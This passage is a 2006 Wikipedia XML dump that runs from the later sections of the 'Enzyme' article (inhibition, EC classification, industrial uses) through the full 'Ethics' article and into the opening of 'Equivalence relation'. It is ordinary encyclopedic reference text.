Uncompetitive inhibition occurs when the inhibitor binds only to the enzyme-substrate complex, not to the free enzyme, the EIS complex is catalytically inactive. This mode of inhibition is rare and causes a decrease in both ''V''&lt;sub&gt;max&lt;/sub&gt; and the ''K''&lt;sub&gt;m&lt;/sub&gt; value.  

===Mixed inhibition===
Mixed inhibitors can bind to both the enzyme and the ES complex.  It has the properties of both competitive and uncompetitive inhibition.  

Both a decrease in ''V''&lt;sub&gt;max&lt;/sub&gt; and an increase in the ''K''&lt;sub&gt;m&lt;/sub&gt; value are seen in mixed inhibition.

== Metabolic pathways and allosteric enzymes ==
Several enzymes can work together in a specific order, creating [[metabolic pathway]]s. In a metabolic pathway, one enzyme takes the product of another enzyme as a substrate. After the catalytic reaction, the product is then passed on to another enzyme. The end product(s) of such a pathway are often [[inhibitors]] for one of the first enzymes of the pathway (usually the first irreversible step, called ''committed step''), thus regulating the amount of end product made by the pathways. Such a regulatory mechanism is called a [[negative feedback|negative feedback mechanism]], because the amount of the end product produced is regulated by its own concentration. Negative feedback mechanism can effectively adjust the rate of synthesis of intermediate metabolites according to the demands of the cells. This helps with effective allocations of materials and energy economy, and it prevents the excess manufacture of end products. Like other [[homeostasis|homeostatic devices]], the control of enzymatic action helps to maintain a stable internal environment in living organisms.

== Enzyme-naming conventions ==
By common convention, an enzyme's name consists of a description of what it does, with the word ending in ''-ase''. Examples are [[alcohol dehydrogenase]] and [[DNA polymerase]]. [[Kinase]]s are enzymes that transfer [[phosphate]] groups. This results in different enzymes with the same function having the same basic name; they are therefore distinguished by other characteristics, such as their optimal [[pH]] ([[alkaline phosphatase]]) or their location (membrane [[ATPase]]). Furthermore, the reversibility of chemical reactions means that the normal physiological direction of an enzyme's function may not be that observed under laboratory conditions. This can result in the same enzyme being identified with two different names: one stemming from the formal laboratory identification as described above, the other representing its behavior in the cell. For instance the enzyme formally known as ''xylitol:NAD+ 2-oxidoreductase (D-xylulose-forming)'' is more commonly referred to in the cellular physiological sense as ''D-xylulose reductase'', reflecting the fact that the function of the enzyme in the cell is actually the reverse of what is often seen under ''in vitro'' conditions.

The [http://www.iubmb.unibe.ch/ International Union of Biochemistry and Molecular Biology] has developed a [[nomenclature]] for enzymes, the [[EC number]]s; each enzyme is described by a sequence of four numbers, preceded by &quot;EC&quot;. The first number broadly classifies the enzyme based on its mechanism:

The toplevel classification is
* EC 1 ''[[Oxidoreductase]]s'': catalyze [[oxidation]]/reduction reactions
* EC 2 ''[[Transferase]]s'': transfer a [[functional group]] (e.g. a methyl or phosphate group)
* EC 3 ''[[Hydrolase]]s'': catalyze the [[hydrolysis]] of various bonds
* EC 4 ''[[Lyase]]s'': cleave various bonds by means other than hydrolysis and oxidation
* EC 5 ''[[Isomerase]]s'': catalyze [[isomer]]ization changes within a single molecule
* EC 6 ''[[Ligase]]s'': join two molecules with [[covalent bond]]s

The complete nomenclature can be browsed at http://www.chem.qmul.ac.uk/iubmb/enzyme/

==Industrial Applications==
{| border=1 cellspacing=&quot;0&quot; cellpadding=2 style=&quot;border:1px solid #aaaaaa;&quot;
|-
| bgcolor=&quot;#C0C0C0&quot; | &lt;p align=&quot;center&quot;&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;'''Application'''&lt;/font&gt;
| bgcolor=&quot;#C0C0C0&quot; | &lt;p align=&quot;center&quot;&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;'''Enzymes used'''&lt;/font&gt;
| bgcolor=&quot;#C0C0C0&quot; | &lt;p align=&quot;center&quot;&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;'''Uses'''&lt;/font&gt;
| bgcolor=&quot;#C0C0C0&quot; | &lt;p align=&quot;center&quot;&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;'''Notes and examples'''&lt;/font&gt;
|-
|rowspan=&quot;2&quot; valign=&quot;top&quot; | '''[[Detergent|Biological detergent]]'''
| Primarily [[protease]]s, produced in an extracellular form from [[bacteria]]
| Used for presoak conditions and direct liquid applications helping with removal of protein stains from clothes.
|rowspan=&quot;2&quot; | [[Image:Washingpowder.jpg|180px|center|]]
|-
| Amylase enzymes
| Detergents for machine dish washing to remove resistant starch residues.
|-
|rowspan=&quot;2&quot; | '''[[Baking|Baking industry]]'''
| [[Fungus|Fungal]] alpha-amylase enzymes: normally inactivates about 50 degrees Celsius, destroyed during baking process
| Catalyze breakdown of starch in the [[flour]] to sugar. Yeast action on sugar produces carbon dioxide. Used in production of white bread, buns, and rolls
|[[Image:Amylose.gif|thumb|center|300px|alpha-amylase catalyzes the release of sugar monomers from starch]]
|-
| Protease enzymes
| Biscuit manufacturers use them to lower the protein level of flour.
|rowspan=&quot;2&quot; |
|-
| '''[[Baby food]]s'''
| [[Trypsin]]
| To predigest baby foods
|-
|rowspan=&quot;6&quot; | '''[[Brewing|Brewing industry]]'''
| Enzymes from barley are released during the mashing stage of beer production.
| They degrade starch and proteins to produce simple sugar, amino acids and peptides that are used by yeast to enhance fermentation.
|rowspan=&quot;3&quot; |[[Image:Sjb whiskey malt.jpg|thumb|center|180px|Germinating barley used for malt.]]
|-
| Industrially produced barley enzymes. 
| Widely used in the brewing process to substitute for the natural enzymes found in barley.
|-
| Amylase, glucanases, proteases
| Split polysaccharides and proteins in the [[malt]]
|-
| Betaglucosidase
| Improve the filtration characteristics.
|rowspan=&quot;4&quot; |
|-
| Amyloglucosidase
| Low-calorie [[beer]]
|-
| Proteases
| Remove cloudiness during storage of beers.
|-
| '''[[Juice|Fruit juices]]'''
| Cellulases, pectinases
| Clarify fruit juices
|-
|rowspan=&quot;4&quot; | '''[[Dairy|Dairy industry]]'''
| Rennin, derived from the stomachs of young [[ruminant|ruminant animals]] (calves, lambs)
| Manufacture of cheese, used to split protein
|'''Note:''' As animals age rennin production decreases and is replaced by another protease, pepsin, which is not suitable for cheese production. In recent years the increase in cheese consumption, as well as increased beef production, has resulted in a shortage of rennin and escalating prices.
|-
| Microbially produced enzyme
| Now finding increasing use in the dairy industry
|rowspan=&quot;3&quot; | [[Image:Roquefort cheese.jpg|thumb|center|180px|Roquefort cheese]]
|-
| [[Lipase]]s
| Is implemented during the production of [[Roquefort cheese]] to enhance the ripening of the [[Danish_Blue_cheese|blue-mould cheese]].
|-
| Lactases
| Break down lactose to glucose and galactose
|-
 |rowspan=&quot;2&quot;| '''[[Starch|Starch industry]]'''
| Amylases, amyloglucosideases and glucoamylases
| Converts starch into glucose and various [[Inverted sugar syrup|syrups]]
|rowspan= &quot;2&quot;|&lt;div class=&quot;thumb center&quot;&gt;
&lt;div style=&quot;width:308px;&quot;&gt;
{| style=&quot;background:none;&quot; cellspacing=&quot;0&quot;
|[[ Image:Glucose.png |150px|]]
|[[image: Alpha-D-Fructose-structure-corrected.png |150px|]]
|-
|&lt;div class=&quot;thumbcaption&quot;&gt;'''Glucose'''&lt;/div&gt;
|&lt;div class=&quot;thumbcaption&quot;&gt;'''Fructose'''&lt;/div&gt;
|-
|}
&lt;/div&gt;&lt;/div&gt;
|-
| Glucose isomerase
| Converts [[glucose]] into fructose (high fructose syrups derived from starchy materials have enhanced sweetening properties and lower [[calorie|calorific values]])
|-
| '''[[Rubber|Rubber industry]]'''
| [[Catalase]]
| To generate [[oxygen]] from [[peroxide]] to convert [[latex]] to foam rubber
|
|-
| '''[[Paper|Paper industry]]'''
| [[Amylase]]s
| Degrade starch to lower [[viscosity]] product needed for sizing and coating paper
|[[Image:InternationalPaper6413.JPG|180px|center|]] 
|-
| '''[[Photography|Photographic industry]]'''
| Protease (ficin)
| Dissolve [[gelatin]] off the scrap [[Photographic film|film]] allowing recovery of [[silver]] present
|
|-
|}

== See also ==
* [[List of enzymes]]
* [[Enzyme kinetics]]

== References ==
* Koshland D. The Enzymes, v. I, ch. 7, Acad. Press, New York, 1959
* Perutz M. ''Proc. Roy. Soc.'', B (1967) 167, 448, 
* Cha, Y., Murray, C. J. &amp; Klinman, J. P. ''Science'' (1989) 243, 1325-1330 . 
* [[Leonor Michaelis]] and [[Maud Menten]], Die Kinetik der Invertinwirkung, ''Biochem. Z.'' (1913) 49, 333-369.
* G. E. Briggs and [[J. B. S. Haldane]],  A note on the kinetics of enzyme action, ''Biochem. J.'', (1925) 19, 339-339.
* M.V. Volkenshtein, R.R. [[Revaz Dogonadze|Dogonadze]], A.K. Madumarov, Z.D. Urushadze, Yu.I. Kharkats. Theory of Enzyme Catalysis.- ''Molekuliarnaya Biologia'', (1972), 431-439 (In Russian, English summary)

== External links ==
{{commons|Category:Enzymes}}
* [http://us.expasy.org/enzyme/ ExPASy enzyme database], links to [[Swiss-Prot]] sequence data, entries in other databases and to related literature searches
* [http://www.biochem.ucl.ac.uk/bsm/enzymes/ PDBsum] links to the known 3-D structure data of enzymes in the [[Protein Data Bank]]
* [http://www.brenda.uni-koeln.de BRENDA], comprehensive compilation of information and literature references about all known enzymes; requires payment by commercial users
* [http://bioinformatics.weizmann.ac.il/cards/ Weizmann Institute's Genecards Database], extensive database of protein properties and their associated genes.
* [http://drnelson.utmem.edu/CytochromeP450.html Cytochrome P450 enzymes] site lists over 4000 versions of enzymes from this cytochrome in plants and animals

[[Category:Biochemistry]]
[[Category:Enzymes|*]]
[[Category:Metabolism]]

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    </revision>
  </page>
  <page>
    <title>Ethics</title>
    <id>9258</id>
    <revision>
      <id>41939372</id>
      <timestamp>2006-03-02T19:37:39Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.108.142.109|24.108.142.109]] ([[User talk:24.108.142.109|talk]]) to last version by Cunado19</comment>
      <text xml:space="preserve">:''For the book of the same name, see [[Ethics (book)]]''

'''Ethics''' (from Greek ''[[ethos|ἦθος]]'' meaning &quot;custom&quot;) is the branch of [[axiology]], one of the four major branches of [[philosophy]], which attempts to understand the nature of [[morality]]; to define that which is [[right]] from that which is [[wrong]].  The [[Western philosophy|Western tradition]] of ethics is sometimes called '''moral philosophy'''.  

== The first social science ==
Assumptions about ethical underpinnings of human behavior are reflected in every [[social science]], including: [[anthropology]] because of the complexities involved in relating one [[culture]] to another, [[economics]] because of its role in the distribution of scarce resources, [[political science]] because of its role in allocating [[Political power|power]], [[sociology]] because of its roots in the dynamics of groups, [[law]] because of its role in codifying ethical constructs like [[mercy]] and [[punishment]], [[criminology]] because of its role in rewarding ethical behavior and discouraging unethical behavior, and [[psychology]] because of its role in defining, understanding, and treating unethical behavior.

Ethics has also been extended to the hard sciences, such as [[biology]] (as [[bioethics]]) and [[ecology]] (as [[environmental ethics]]). As these fields become more complex and deal with more situations, the application of ethics in those fields can also become more complex.

In [[analytic philosophy]], ethics is traditionally divided into three fields: [[Meta-ethics]], [[Normative ethics]] (including [[value theory]] and the [[theory of conduct]]) and [[applied ethics]] &amp;ndash; which is seen to be derived, top-down, from normative and thus meta-ethics.

== Meta-ethics ==
{{main|Meta-ethics}}

'''Meta-ethics''' is the investigation of the nature of ethical statements. It involves such questions as: Are ethical claims truth-apt, i.e., capable of being true or false, or are they, for example, expressions of emotion (see [[cognitivism (ethics)|cognitivism]] and [[non-cognitivism]])? If they are truth-apt, are they ever true? If they are ever true, what is the nature of the facts that they express? And are they ever true absolutely (see [[moral absolutism]]), or always only relative to some individual, society, or culture? (See [[moral relativism]], [[cultural relativism]].)

Meta-ethics studies the nature of ethical sentences and attitudes. This includes such questions as what &quot;good&quot; and &quot;right&quot; ''mean'', whether and how we ''know'' what is right and good, whether moral values are objective, and how ethical attitudes motivate us.  Often this is derived from some list of moral absolutes, e.g. a religious [[moral code]], whether explicit or not.  Some would view [[aesthetics]] as itself a form of meta-ethics.

Meta-ethics also investigates where our ethical principles come from, and what they mean. Are they merely social inventions? Do they involve more than expressions of our individual emotions? Meta-ethical answers to these questions focus on the issues of universal truths, the will of God, the role of reason in ethical judgments, and the meaning of ethical terms themselves.

== Normative ethics ==
{{main|Normative ethics}}

'''Normative ethics''' bridges the gap between meta-ethics and applied ethics. It is the attempt to arrive at practical moral standards that tell us right from wrong, and how to live moral lives. This may involve articulating the good habits that we should acquire, the duties that we should follow, or the consequences of our behavior on others.

*One branch of normative ethics is [[theory of conduct]]; this is the study of right and wrong, of obligation and permissions, of duty, of what is above and beyond the call of duty, and of what is so wrong as to be evil. Theories of conduct propose standards of [[morality]], or [[moral code]]s or rules. For example, the following would be the sort of rules that a theory of conduct would discuss (though different theories will differ on the merit of each of these particular rules): &quot;Do unto others as you would have them do unto you&quot;; &quot;The right action is the action which produces the greatest happiness for the greatest number&quot;; &quot;Stealing is wrong&quot;.  Theories of moral conduct can be distinguished from [[etiquette]] by their concern with finding guidelines for action that are not dependent entirely on social convention. For example, it may not be a breach of etiquette to fail to give money to help those in poverty, but it could still be a failure to act morally.

*Another branch of normative ethics is [[theory of value]]; this looks at what things are deemed to be valuable. Suppose we have decided that certain things are intrinsically good, or are more valuable than other things that are also intrinsically good. Given this, the next big question is what would this imply about how we should live our lives? The theory of value also asks: What sorts of things are good? What sorts of situations are good? Is pleasure always good? Is it good for people to be equally well-off? Is it intrinsically good for beautiful objects to exist? Or: What does &quot;good&quot; mean?  It may literally define &quot;good&quot; and &quot;bad&quot; for a community or society. [Criticism: Theory of value is not a part of normative ethics, though normative ethics presupposes some theory of value. For example, there are aesthetic values which may be amoral, i.e., neutral in regard to conduct.]

== Applied ethics ==
{{main|applied ethics}}

One form of '''applied ethics''' applies normative ethical theories to specific controversial issues.  In these cases, the ethicist adopts a defensible theoretical framework, and then derives normative advice by applying the theory.

However, many persons and situations, notably traditional religionists and lawyers, find this approach either against accepted religious doctrine or impractical because it does not conform to existing laws and court decisions. [[casuistry|Casuistry]] is a completely different form of applied ethics that is widely used in these cases and by these groups.  Casuists compare moral dilemmas to well established cases (sometimes called [[paradigm]]s).  The well-established methods for coping with the well-established cases are then adapted to the case at hand.

The special virtue of casuistry over applied moral theory is that groups and individuals often disagree about theories, but may nonetheless have remarkably similar paradigms.  Thus, they may be able to achieve substantial social agreement about actions, even though their theories are incompatible.  This may be why casuistry is the foundation of many legal systems.

The ethical problems attacked by applied ethicists (of whatever sort) often bear directly on public policy. For example, the following would be questions of applied ethics: &quot;Is getting an abortion ever moral?&quot;; &quot;Is euthanasia ever moral?&quot;; &quot;What are the ethical underpinnings of [[affirmative action]] policies?&quot;; &quot;What are [[human rights]], and how do we determine them?&quot;; &quot;Do animals have rights?&quot;  

Without these questions there is no clear fulcrum on which to balance [[law]], [[politics]], and practice of [[arbitration]] &amp;ndash; in fact no common assumptions of all participants &amp;ndash; so the ability to formulate the questions are prior to rights balancing.

But not all questions studied in applied ethics concern public policy.  For example: Is [[lying]] always wrong? If not, when is it permissible? The ability to make these ethical judgments is prior to any etiquette.

There are several sub-branches of applied ethics examining the ethical problems of different professions, such as business ethics, medical ethics, engineering ethics and legal ethics, while [[technology assessment]] and [[environmental assessment]] study the effects and implications of new technologies or projects on nature and society.

Each branch to characterize common issues and problems that arise in the [[ethical code]]s of the professions, and define their common responsibility to the public, e.g. to preserve its natural capital, or to obey some social expectations of honest dealings and disclosure.

* [[Abortion, legal and moral issues]]
* [[Animal rights]]
* [[Bioethics]]
* [[Business ethics]]
* [[Criminal justice]]
* [[Environmental ethics]]
* [[Feminism]]
* [[Gay rights]]
* [[Human rights]]
* [[Journalism ethics]]
* [[Just war theory]]
* [[Medical ethics]]
* [[Technological ethics]]
* [[Utilitarian ethics]]
* [[Utilitarian bioethics]]

Ethics has been applied to [[economics]], [[politics]] and [[political science]], leading to several distinct and unrelated fields of applied ethics, including [[Business ethics]] and [[Marxism]].

Ethics has been applied to family structure, sexuality, and how society views the roles of individuals; leading to several distinct and unrelated fields of applied ethics, including [[feminism]].

Moral Ethics has been applied to war, leading to the fields of [[pacifism]] and [[nonviolence]].

Ethics has been applied to analyze human use of Earth's limited resources. This has led to the study of [[environmental ethics]] and [[social ecology]]. A growing trend has been to combine the study of both ecology and economics to help provide a basis for sustainable decisions on environmental use. This has led to the theories of [[ecological footprint]] and [[bioregional autonomy]]. Political and social movements based on such ideas include [[eco-feminism]], [[eco-anarchism]], [[deep ecology]], the [[green movement]], and ideas about their possible integration into [[Gaia philosophy]].

Ethics has been applied to [[criminology]] leading to the field of [[criminal justice]].

There are several sub-branches of applied ethics examining the ethical problems of different professions, such as [[business ethics]], [[medical ethics]], [[engineering ethics]] and [[legal ethics]], while [[technology assessment]] and [[environmental assessment]] study the effects and implications of new technologies or projects on nature and society.
Each branch characterizes common issues and problems that may arise, and define their common responsibility to the public, e.g. to preserve its natural capital, or to obey some social expectations of honest dealings and disclosure.

=== Ethics in religion ===
{{main articles|[[Ethics in religion]] and [[Ethics in the Bible]]}}

=== Ethics in health care ===
{{main articles|[[bioethics]] and [[medical ethics]]}}

One of the major areas where ethicists practice is in the field of [[health care]]. This includes [[medicine]], [[nursing]], [[pharmacy]], [[genetics]], and allied health professions. Example issues are [[euthanasia]], [[abortion]], medical experiments, [[vaccine trials]], [[stem cell]] research, [[informed consent]], truth telling, patient rights and autonomy, rationing of health care (such as [[triage]]).

==== Ethics in psychology ====
By the [[1960s]] there was increased interest in [[moral reasoning]].  [[Psychology|Psychologists]] such as [[Lawrence Kohlberg]] developed theories which are based on the idea that moral behavior is made possible by moral reasoning. Their theories subdivided moral reasoning into so-called stages, which refer to the set of principles or methods that a person uses for ethical judgment. The first and most famous theory of this type was [[Kohlberg's stages of moral development|Kohlberg's theory of moral development]].

[[Carol Gilligan]], a student of Kohlberg's, argued that women tend to develop through a different set of stages from men. Her studies inspired work on a so-called ethic of care, which particularly defines itself against Rawlsian-type justice- and contract-based approaches.

Another group of influential psychological theories with ethical implications is the [[humanistic psychology]] movement. One of the most famous humanistic theories is [[Abraham Maslow|Abraham Maslow's]] [[Maslow's hierarchy of needs|hierarchy of needs]]. Maslow argued that the highest human need is [[self-actualization]], which can be described as fulfilling one's potential, and trying to fix what is wrong in the world. [[Carl Rogers|Carl Rogers's]] work was based on similar assumptions. He thought that in order to be a 'fully functioning person', one has to be creative and accept one's own feelings and needs. He also emphasized the value of self-actualization. A similar theory was proposed by [[Fritz Perls]], who assumed that taking responsibility of one's own life is an important value.  

[[R.D. Laing]] developed a broad range of thought on interpersonal psychology.  This deals with interactions between people, which he considered important, for an ethical action always occurs between one person and another.  In books such as The Politics of Experience, he dealt with issues concerning how we should relate to persons labeled by the psychiatric establishment as &quot;schizophrenic&quot;.  He came to be seen as a champion for the rights of those considered mentally ill.  He spoke out against (and wrote about) practices of psychiatrists which he considered inhumane or barbaric, such as electric shock treatment.  Like Wittgenstein, he was frequently concerned with clarifying the use of language in the field -- so, for example, he suggested that the effects of psychiatric drugs (some of which are very deleterious, such as tardive diskensia) be called just that: &quot;effects&quot;, and not be referred to by the preferred euphemisms of the drug companies, who prefer to call them &quot;side effects&quot;.  Laing also did work in establishing true asylums as places of refuge for those who feel disturbed and want a safe place to go through whatever it is they want to explore in themselves, and with others.

A third group of psychological theories that have implications for the nature of ethics are based on [[evolutionary psychology]]. These theories are based on the assumption that the behavior that ethics prescribe can sometimes be seen as an evolutionary adaptation. For instance, altruism towards members of one's own family promotes one's [[inclusive fitness]].

Some concerns have developed recently about ethics in the psychology 
field itself.  In particular there are concerns about the psychotherapy
field and how several have reacted to criticism of their science. 
There has been concern about the behavior of these psychologists 
on Usenet (in newsgroups).  Some of these concerns are voiced through 
the domain http://cyberper.cnc.net/a_spp_faq.htm

=== Ethics in politics ===
Often, such efforts take legal or political form before they are understood as works of [[normative ethics]].  The [[UN Declaration of Universal Human Rights]] of [[1948]] and the [[Global Green Charter]] of [[2001]] are two such examples. However, as [[war]] and the development of [[weapon technology]] continues, it seems clear that no non-violent means of dispute resolution is accepted by all.

The need to redefine and align politics away from ideology and towards dispute resolution was a motive for [[Bernard Crick]]'s list of [[political virtues]].

== Ethics by cases ==
A common approach in applied ethics is to deal with individual issues on a case-by-case basis.

''[[Casuistry]]'' is one such application of [[case-based reasoning]] to applied ethics.  Almost all American states have tried to discourage dishonest practices by their public employees and elected officials by establishing an [[Ethics Commission]] for their state.

[[Bernard Crick]] in [[1982]] offered a socially-centered view, that [[politics]] was the only applied ethics, that it was how cases were really resolved, and that &quot;[[political virtues]]&quot; were in fact necessary in all matters where human morality and interests were destined to clash.  This and other views of modern universals is dealt with below under ''Global Ethics''.

The lines of distinction between meta-ethics, normative ethics, and applied ethics are often blurry. For example, the issue of [[abortion]] is an applied ethical topic since it involves a specific type of controversial behavior. But it also depends on more general normative principles, such as the right of self-rule and the right to life, which are litmus tests for determining the morality of that procedure. The issue also rests on metaethical issues such as, &quot;where do rights come from?&quot; and &quot;what kind of beings have rights?&quot;

Another concept which blurs ethics is [[moral luck]]. A drunk driver may safely reach home without injuring anyone, or he might accidentally kill a child who runs out into the street while he is driving home. How bad the action of driving while drunk is in that case depends on chance.

== Descriptive ethics ==
Some philosophers rely on [[descriptive ethics]] and choices made and unchallenged by a [[society]] or [[culture]] to derive categories, which typically vary by context. This leads to [[situational ethics]] and [[situated ethics]].  These philosophers often view [[aesthetics]] and [[etiquette]] and [[arbitration]] as more fundamental, percolating 'bottom up' to imply, rather than explicitly state, theories of value or of conduct.  In these views ethics is not derived from a top-down a priori &quot;philosophy&quot; (many would reject that word) but rather is strictly derived from observations of actual choices made in practice:

* [[Ethical code]]s applied by various groups. Some consider aesthetics itself the basis of ethics &amp;ndash; and a personal [[moral core]] developed through art and storytelling as very influential in one's later ethical choices.
* Informal theories of [[etiquette]] which tend to be less rigorous and more situational.  Some consider etiquette a simple negative ethics, i.e. where can one evade an uncomfortable truth without doing wrong?  One notable advocate of this view is [[Judith Martin]] (&quot;Miss Manners&quot;).  In this view, ethics is more a summary of common sense social decisions.
* Practices in [[arbitration]] and [[law]], e.g. the claim by [[Rushworth Kidder]] that ethics itself is a matter of balancing &quot;right versus right&quot;, i.e. putting priorities on two things that are both right, but which must be traded off carefully in each situation.  This view many consider to have potential to reform ethics as a practice, but it is not as widely held as the 'aesthetic' or 'common sense' views listed above.
* Observed choices made by ordinary people, without expert aid or advice, who [[vote]], [[buy]] and decide what is worth fighting about.  This is a major concern of [[sociology]], [[political science]] and [[economics]].

Those who embrace such descriptive approaches tend to reject overtly normative ones.  There are exceptions, such as the movement to more [[moral purchasing]].

== The analytic view ==
The descriptive view of ethics is modern and in many ways more empirical.  But because the above are dealt with more deeply in their own articles, the rest of this article will focus on the formal academic categories, which are derived from classical [[Greek philosophy]], especially [[Aristotle]].

First, we need to define an ''ethical sentence'', also called a ''normative statement''.  An ethical sentence is one that is used to make either a positive or a negative (moral) evaluation of something. Ethical sentences use words such as &quot;good,&quot; &quot;bad,&quot; &quot;right,&quot; &quot;wrong,&quot; &quot;moral,&quot; &quot;immoral,&quot; and so on. Here are some examples:

* &quot;Sally is a good person.&quot;
* &quot;People should not steal.&quot;
* &quot;The [[O. J. Simpson|Simpson]] verdict was unjust.&quot;
* &quot;Honesty is a virtue.&quot;
* &quot;One ought not to break the law.&quot;

In contrast, a ''non''-ethical sentence would be a sentence that does ''not'' serve to (morally) evaluate something. Examples would include:

* &quot;Someone took the stereo out of my car.&quot;
* &quot;Simpson was acquitted at his trial.&quot;
* &quot;Many people are dishonest.&quot;
* &quot;I dislike it when people break the law.&quot;

==See also==
* [[Moral absolutism]]
** [[Consequentialism]]
*** [[Utilitarianism]]
** [[Deontology]]
*** [[Categorical imperative]]
** [[Divine command theory|Divine command ethics]]
** [[Universal prescriptivism]]
** [[Virtue ethics]]
* Prima Facie ethics (See [[W. D. Ross]])
* [[Ethical relativism]]
** [[Situational ethics]]
** [[Ethical subjectivism]]
* [[Nihilism#Nihilism in ethics and morality | Ethical nihilism]]
* [[Ethical skepticism]]
* [[Humanism|Liberal humanist ethics]]
** [[Secular humanism|(Secular) Humanist ethics]]
*** [[International Humanist and Ethical Union]]
** [[Religious humanism|Religious humanist ethics]]
----
* [[Altruism (ethical doctrine)]]
* [[Altruism in animals]]
* [[Ethical egoism]] 
** [[Objectivist ethics]]
* [[Social contract]]s.
* [[Ethics and evolutionary psychology|Evolutionary ethics]]
----
* [[Bioethics]]
* [[Goodness and value theory]]
* [[Human rights]]
* [[Is-ought problem]]
* [[Kohlberg's stages of moral development]]
* [[List of ethicists]]
* [[List of ethics topics]]
* [[Meta-ethics]]
* [[Morality]]
* [[Naturalistic fallacy]]
* [[Ethic of reciprocity|The Golden Rule]]
* [[Virtue ethics]]

==References ==
* {{cite book
 | last = Blackburn | first = S
 | title = Dictionary of Philosophy
 | location = Oxford
 | publisher = Oxford University Press
 | year = 1996
 | id = ISBN 0192831348
 }}
* {{cite book
 | last = Cornman | first = James
 | coauthors = ''et al''
 | title = Philosophical Problems and Arguments - An Introduction
 | edition = 4th ed.
 | location = Indianapolis
 | publisher = Hackett
 | year = 1992
 | id = ISBN 0872201244
 }}
* {{cite book 
 | last = MacIntyre | first = A
 | title = A Short History of Ethics
 | publisher = Routledge
 | year = 2002
 | id = ISBN 0415287499
 }}
* {{cite book
 | author = Singer, P. (Ed.)
 | title = A Companion To Ethics
 | location = Massachusetts
 | publisher = Blackwell
 | year = 1993
 | id = ISBN 0631187855
 }}

== External links ==
* [http://ethics.acusd.edu/ Ethics Updates] mega-list of ethics resources maintained by Lawrence Hinman of the University of San Diego.
* [http://www.ditext.com/broad/ftet/ftet.html C. D. Broad, ''Five Types of Ethical Theory'' (New York: Harcourt, Brace and Co., 1930).]
* [http://www.ditext.com/ross/right.html W. D. Ross, ''The Right and the Good'' (1930)]
* [http://www.www.josephsoninstitute.org The Josephson Institute of Ethics] An organization aimed to improve the ethical quality of society by changing personal and organizational decision making and behavior.
* [http://www.galilean-library.org/int11.html An Introduction to Ethics] by Paul Newall, aimed at beginners.
* Stanford Encyclopedia of Philosophy

** [http://plato.stanford.edu/entries/ethics-ancient/ Ancient Ethics]
** [http://plato.stanford.edu/entries/ethics-environmental/ Environmental Ethics]
** [http://plato.stanford.edu/entries/feminism-ethics/ Feminist Ethics]
** [http://plato.stanford.edu/entries/natural-law-ethics/ Natural Law Tradition in Ethics]
** [http://plato.stanford.edu/entries/ethics-virtue/ Virtue Ethics]

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  </page>
  <page>
    <title>Equivalence relation</title>
    <id>9259</id>
    <revision>
      <id>39865841</id>
      <timestamp>2006-02-16T11:42:02Z</timestamp>
      <contributor>
        <username>Haham hanuka</username>
        <id>111674</id>
      </contributor>
      <text xml:space="preserve">In [[mathematics]], an '''equivalence relation''' on a [[set]] ''X'' is a [[binary relation]] on ''X'' that is ''reflexive'', ''symmetric'', and ''transitive''.  That is, if the relation is denoted by the symbol &quot;~&quot;, it holds for all ''a'', ''b'', and ''c'' in ''X'' that
# ([[Reflexive relation|Reflexivity]]) ''a'' ~ ''a''
# ([[symmetric relation|Symmetry]]) if ''a'' ~ ''b'' then ''b'' ~ ''a''
# ([[Transitive relation|Transitivity]]) if ''a'' ~ ''b'' and ''b'' ~ ''c'' then ''a'' ~ ''c''

A set together with an equivalence relation is called a '''setoid'''.

Equivalence relations are often used to group together objects that are similar in some sense.

== Examples of equivalence relations ==
* The [[equality (mathematics)|equality]] (&quot;=&quot;) relation between [[real numbers]] or [[set]]s.
* The relation &quot;is congruent to ([[modular arithmetic|modulo]] [[five|5]])&quot; between [[integers]].
* The relation &quot;is similar to&quot; on the set of all [[triangle (geometry)|triangle]]s.
* The relation &quot;has the same birthday as&quot; on the set of all human beings.
* The relation of [[logical equivalence]] on statements in [[first-order logic]].
* The relation &quot;is [[isomorphic]] to&quot; on [[model theory|models]] of a set of sentences.
* The relation &quot;is in [[thermal equilibrium]] with&quot;.
* The relation &quot;has the same [[image (mathematics)|image]] under a [[function (mathematics)|function]]&quot; on the elements of the [[domain (mathematics)|domain of the function]].
* [[Green's relations]] are five equivalence relations on the elements of a [[semigroup]].

== Examples of relations that are not equivalences  ==
* The relation &quot;is friends with&quot;, among people.
* The relation &quot;&amp;ge;&quot; between real numbers is '''not''' an equivalence relation, because although it is reflexive and transitive, it is not symmetric.  E.g. 7 &amp;ge; 5 does not imply that 5 &amp;ge; 7.  It is, however, a [[Partially ordered set|partial order relation]].
* The relation &quot;has a common factor greater than 1 with&quot; between [[natural numbers]] greater than 1, is '''not''' an equivalence relation, because although it is reflexive and symmetric, it is not transitive (2 and 6 have a common factor greater than 1, and 6 and 3 have a common factor greater than 1, but 2 and 3 do not have a common factor greater than 1).
* The empty relation R on a [[non-empty]] set ''X'' (i.e. ''a'' R ''b'' is never true) is '''not''' an equivalence relation, because although it is [[vacuously true|vacuously]] symmetric and transitive, it is not reflexive (except when ''X'' is also empty).
* The relation &quot;is approximately equal&quot; between real numbers or other things, even if more precisely defined, is '''not''' an equivalence relation, because although it is reflexive and symmetric, it is not transitive (it may seem so at first sight, but many small changes can add up to a big change).
* The relation &quot;is the mother of&quot; on the set of all human beings is '''not''' an equivalence relation, because it not reflexive ('''A''' is not the mother of '''A'''), symmetric (If '''A''' is the mother of '''B''', then '''B''' is not the mother of '''A'''), and is not transitive (if '''A''' is the mother of '''B''', and '''B''' is the mother of '''C''', it does not necessarily mean '''A''' is the mother of '''C''')

== Partitioning into equivalence classes ==

Every equivalence relation on ''X'' defines a [[partition of a set|partition]] of ''X'' into subsets called [[equivalence class]]es: all elements equivalent to each other are put into one class. Conversely, if the set ''X'' can be partitioned into subsets, then we can define an equivalence relation ~ on ''X'' by the rule &quot;''a'' ~ ''b'' if and only if ''a'' and ''b'' lie in the same subset&quot;.

For example, if ''G'' is a [[group (mathematics)|group]] and ''H'' is a [[subgroup]] of ''G'', then we can define an equivalence relation ~ on ''G'' by writing ''a'' ~ ''b'' if and only if ''ab''&lt;sup&gt;-1&lt;/sup&gt; lies in ''H''. The equivalence classes of this relation are the right [[coset]]s of ''H'' in ''G''.

